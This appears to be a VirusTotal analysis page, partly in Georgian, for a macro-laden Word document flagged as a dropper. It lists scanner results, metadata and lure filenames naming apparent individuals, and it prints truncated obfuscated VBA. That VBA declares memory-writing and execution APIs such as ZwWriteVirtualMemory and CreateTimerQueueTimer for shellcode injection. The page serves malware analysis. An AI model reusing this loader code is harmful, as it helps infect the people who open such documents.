Antivirus scan for c884712b924af42a0c22c387a5ed811e03f9c0748a0625c19c143f33b0834452 at 2017-04-17 17:46:31 UTC

ანტივირუსი	შედეგები	განახლება
DrWeb	modification of W97M.Suspicious.1	20170417
Fortinet	WM/Agent.JU!tr	20170417
McAfee	W97M/Dropper.da	20170417
McAfee-GW-Edition	W97M/Dropper.da	20170417
Qihoo-360	virus.office.qexvmc.1065	20170417
Ad-Aware		20170417
AegisLab		20170417
AhnLab-V3		20170417
Alibaba		20170417
ALYac		20170417
Antiy-AVL		20170417
Arcabit		20170417
Avast		20170417
AVG		20170417
Avira (no cloud)		20170417
AVware		20170417
Baidu		20170417
BitDefender		20170417
Bkav		20170415
CAT-QuickHeal		20170417
ClamAV		20170417
CMC		20170417
Comodo		20170417
CrowdStrike Falcon (ML)		20170130
Cyren		20170417
Emsisoft		20170417
Endgame		20170413
ESET-NOD32		20170417
F-Prot		20170417
F-Secure		20170417
GData		20170417
Ikarus		20170417
Sophos ML		20170413
Jiangmin		20170417
K7AntiVirus		20170417
K7GW		20170417
Kaspersky		20170417
Kingsoft		20170417
Malwarebytes		20170417
Microsoft		20170417
eScan		20170417
NANO-Antivirus		20170416
nProtect		20170417
Palo Alto Networks (Known Signatures)		20170417
Panda		20170417
Rising		20170417
SentinelOne (Static ML)		20170330
Sophos AV		20170417
SUPERAntiSpyware		20170417
Symantec		20170417
Symantec Mobile Insight		20170414
Tencent		20170417
TheHacker		20170416
TrendMicro		20170417
TrendMicro-HouseCall		20170417
Trustlook		20170417
VBA32		20170417
VIPRE		20170417
ViRobot		20170417
Webroot		20170417
WhiteArmor		20170409
Yandex		20170417
Zillya		20170414
ZoneAlarm by Check Point		20170417
Zoner		20170417

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May execute code from Dynamically Linked Libraries.

Summary

last_author

admin

creation_datetime

2017-04-17 10:17:00

author

White

title

page_count

last_saved

2017-04-17 10:22:00

edit_time

180

word_count

250

revision_number

application_name

Microsoft Office Word

character_count

1426

security

code_page

Cyrillic

template

Normal

Document summary

byte_count

11000

characters_with_spaces

1673

line_count

version

730895

paragraph_count

code_page

Cyrillic

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/ThisDocument

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_6

[+] Macros/VBA/__SRP_7

[+] Macros/VBA/dir

[+] Macros/VBA/nonfissile

[+] Macros/VBA/provided

[+] Macros/provided/\x01CompObj

[+] Macros/provided/\x03VBFrame

[+] Macros/provided/f

[+] Macros/provided/o

[+] WordDocument

Macros and VBA code streams

[+] ThisDocument.cls Macros/VBA/ThisDocument 4171 bytes

Sub largemouth()
Dim clinic As Byte
Dim driveler As String
provided.aegis.Value = Day(#12/5/2007#)
jews = "serpentine"
appealable = "cloacina"
mendel = "missionary"
Set gook = provided.aegis.SelectedItem
adonic = 80
cross = 38873
cantharellus = 531946
 VBA.Pmt 0, adonic, 20881, 50155, 4

showeryrainy = gook.Name
leiopelmatidae = 91 + 5737
midinette = Right(showeryrainy, leiopelmatidae)
crossbar = nonfissile.canonry(midinette)
calculating = 80
tailwind = 35755
painting = 152414
 VBA.Pmt 0, calculating, 38677, 49939, 7

everliving = "denaturalize"
#If Win64 Then
Dim hereditament As Integer
Dim bonasa As LongPtr
Dim firstrate As LongPtr
Dim chordospartium As Long
#Else
Dim involuntary As String
Dim firstrate As Long
Dim outride As String
Dim bonasa As Long
#End If
acidotic = 106 - 106
kneel = "listel"
adultery = "mead"
ivory = 127 - 63 - 72 + 4104
adjunct = 98
childcare = 19982
rentable = 311777
 VBA.Pmt 0, adjunct, 30644, 50142, 4

peltandra = "nevis"
mister = "lonas"
seize = "cryptoprocta"
sozzly = 7
gracilariidae = 26281
ransack = 342615
 VBA.Pmt 0, sozzly, 26111, 21770, 5

cruzeiro = crossbar
templetonia = forelock
osiris = "extenuated"
bonasa = autoradiograph(cruzeiro)
cytological = "cohering"
#If Win64 Then
Dim pauperis As Variant
Dim candlelighting As LongPtr
Dim via As LongPtr
Dim fever As LongPtr
kneed = 88 + 1224
#Else
Dim candlelighting As Long
entail = 12 + 483
Dim via As Long
Dim fever As Long
kneed = entail + 2657

#End If
Dim convulsions As String
Dim motives As Byte
candlelighting = 100 - 100
firstrate = bonasa + kneed
via = 52 + 127 - 109 + 201457
fever = 3500
foundations = rangoon(via, candlelighting, firstrate, candlelighting, candlelighting, candlelighting, candlelighting)
identified = 46
fugaces = 22614
ceratozamia = 498987
 VBA.Pmt 0, identified, 14057, 47560, 4

End Sub

Function autoradiograph(godly)
Dim memoria As String
Dim groschen As Variant
Dim unintelligibly As String
Dim posited As Byte
#If Win64 > 0 Then
Dim surveyintrospection As Intege [... continues ...]

[+] nonfissile.bas Macros/VBA/nonfissile 7665 bytes

exe-pattern run-dll

'  That vanish into the black sun
'  Trying to breathe but there's no air
#If 2 = 2 And Win64 > 0 Then
'  Trying to breathe but there's no air
'  My heart is bleeding why am I here
Public  Declare PtrSafe Function rangoon Lib "Kernel32" Alias "CreateTimerQueueTimer" (greene As Any, ByVal measurable As Any, ByVal painter As Any, ByVal synchronous As Any, ByVal cryesthesia As Any, ByVal celtic As Any, ByVal saccharine As Any) As Long
'  Taste the last drops of life
'  I feel the end is closing in
Public Declare PtrSafe Function pianino Lib "Kernel32.dll" Alias "CreateEventW" (ByVal medial As LongPtr,charlotte As LongPtr,ptisan As LongPtr,astrakhan As LongPtr,mudbeplastered As LongPtr) As Long
'  Visions of happiness are burning
'  Life doesn't work out as planned
Public Declare PtrSafe Function coil Lib "Shell32.dll" Alias "SHChangeNotification_Lock" (amethystine As LongPtr, contain As Any,cycad As LongPtr, appalachians As Any) As Boolean
'  Try to breathe but there's no air
'  To dwell in nothing and forever disappear
Public Declare PtrSafe Function ablepharia Lib "Ntdll.dll  " Alias "ZwWriteVirtualMemory" (ByVal dostoevski As Any, ByVal ingrowth As Any, ByVal ditch As Any, ByVal limitation As Any, ByVal disputation As Any) As LongPtr
'  My heart is bleeding why am I here
'  Try to breathe but there's no air
Public Declare PtrSafe Function ammeter Lib "ntdll.dll" Alias "NtContinue" (methaqualone As LongPtr,burin As LongPtr,catastrophic As LongPtr) As LongPtr
'  Visions of happiness are burning
'  To dwell in nothing and forever disappear
Public Declare PtrSafe Function peptizing Lib "ntdll.dll" Alias "NtDeleteAtom" (carbonated As LongPtr)
'  My heart is bleeding why am I here
'  Of sorrow slowly killing me
Public Declare PtrSafe Function selfexplanatory Lib "Shlwapi.dll" Alias "PathFileExists" (edging As LongPtr) As LongPtr
'  Taste the last drops of life
'  That vanish into the black sun
Public Declare PtrSafe Function princeofwalesheath Lib "ntdll.dll  " Alias "NtA [... continues ...]

ExifTool file metadata

SharedDoc

Author

White

CodePage

Windows Cyrillic

LinksUpToDate

LastModifiedBy

admin

HeadingPairs

, 1

Template

Normal

CharCountWithSpaces

1673

CreateDate

2017:04:17 09:17:00

CompObjUserType

???????? Microsoft Office Word

ModifyDate

2017:04:17 09:22:00

HyperlinksChanged

Characters

1426

ScaleCrop

RevisionNumber

MIMEType

application/msword

Words

250

Bytes

11000

FileType

DOC

Lines

AppVersion

11.9999

Security

Locked for annotations

Software

Microsoft Office Word

TotalEditTime

3.0 minutes

Pages

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

Compressed bundles

This file was also submitted to VirusTotal in the following compressed file bundles.

35461169382547d143736d09dc4434fefe4c991bb31103261dba22a4ba857e38

File identification

MD5 5d05405bc55702acc7784e30c9dac56e

SHA1 da6be008dc8443e57d9364397e84f247cc859959

SHA256 c884712b924af42a0c22c387a5ed811e03f9c0748a0625c19c143f33b0834452

ssdeep

3072:8T+57zn6BGMjmVNKe5Y7OnPOyqHPnyeachEh46mIJ0cZNF8RF8:8T+5q8MBe5VO/vnyeaYEh46zXNFYF

File size 163.0 კბ ( 166912 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: , Author: White, Template: Normal, Last Saved By: admin, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 03:00, Create Time/Date: Sun Apr 16 09:17:00 2017, Last Saved Time/Date: Sun Apr 16 09:22:00 2017, Number of Pages: 1, Number of Words: 250, Number of Characters: 1426, Security: 8

TrID	Microsoft Word document (80.0%) Generic OLE2 / Multistream Compound File (20.0%)

VirusTotal metadata

First submission 2017-04-17 14:32:14 UTC ( 3 თვე, 1 კვირა-ის წინ )

Last submission 2017-07-22 06:52:27 UTC ( 4 დღე, 15 საათი-ის წინ )

ფაილის სახელები

FTC_i.rzayev.doc
FTC_daniel.v.snyder.doc
FTC_jeroen.murre.doc
FTC_jennie.r.sadosky.doc
FTC_nicole.kinskofer.doc
FTC_saltman.doc
FTC_skr-gst.doc
FTC_autumn.b.humphrey.doc
FTC_dano.doc
FTC_schan.doc
FTC_birgitta.danielson.doc
FTC_thorsdal.doc
FTC_kyoko.yokoyama.doc
FTC_michelle.soliz.doc
FTC_briley.doc
FTC_dennis.healy.doc
FTC_karasvn.doc
FTC_bethany.aiardo.doc
FTC_yoyaku.doc
FTC_woodhaml.doc
FTC_sbakos.doc
FTC_helpdesk.bstl.doc
FTC_bruce.weaver.doc
FTC_lholbeche.doc
FTC_joel.butler.doc

თქვენ არ შესულხართ სისტემაში მხოლოდ დარეგისტრირებულ წევრებს შეუძლიათ კომენტარის დატოვება. დარეგისტრირდით რათა გქონდეთ თქვენი ხმა,

შესვლა რეგისტრაცია

SHA256:	c884712b924af42a0c22c387a5ed811e03f9c0748a0625c19c143f33b0834452
ფაილის სახელი:	FTC_kelly.doc
დაფიქსირების შეფარდება:	5 / 56
ანალიზის თარიღი:	2017-04-17 17:46:31 UTC ( 3 თვე, 1 კვირა-ის წინ ) ბოლო

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

Compressed bundles

File identification

VirusTotal metadata

დატოვე კომენტარი...

აღადგინეთ თქვენი პაროლი

გაწევრიანდით ვირუსტოტალის საზოგადოებაში

შესვლა